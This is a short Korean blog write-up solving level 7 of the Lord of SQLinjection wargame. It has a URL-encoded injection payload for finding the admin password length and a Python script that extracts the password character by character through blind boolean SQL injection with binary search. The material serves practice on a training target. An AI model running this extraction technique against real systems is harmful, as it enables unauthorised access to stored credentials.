Play/wargame

[LOS] Lord of SQLinjection 7번

병뚜 2022. 10. 23. 00:11

- ()필터링

- 그냥 참고로 말하자면 ()는 %28 %29

- URL에 && 입력하니 씹힘 > %26

- URL에 #입력하니 무시당하길래 %23사용

 

?pw='||id='admin'%26%26length(pw)=1%23

pw길이 맞추기. 1부터 8까지 시도

length(pw)=8

 

 

이제 코드를 짜보자.

import requests

url = "https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php"
cookie = {"PHPSESSID": "세션"}

def pw_find():
    length = 8
    pw = ""
    for i in range(length):
        start_num = 1
        end_num = 127
        value = 64
        while True:
            param = {
                "pw": "'||id='admin' && ascii(substring(pw,{},1))= {} #".format(
                    i + 1, value
                )
            }
            print(param)
            req = requests.get(url, params=param, cookies=cookie)
            if "Hello admin" in req.text:
                pw += chr(value)
                break
            else:
                param = {
                    "pw": "'||id='admin' && ascii(substring(pw,{},1)) > {} #".format(
                        i + 1, value
                    )
                }
                req = requests.get(url, params=param, cookies=cookie)
                if "Hello admin" in req.text:
                    start_num = value
                    value = (value + end_num) // 2
                else:
                    end_num = value
                    value = (start_num + value) // 2
    print("password: ", pw)

pw_find()

코드에 &&랑 #입력한건 정상적으로 작동함

ㅇㅋ

이제 pw에 찾은 문자열 입력하면 클리어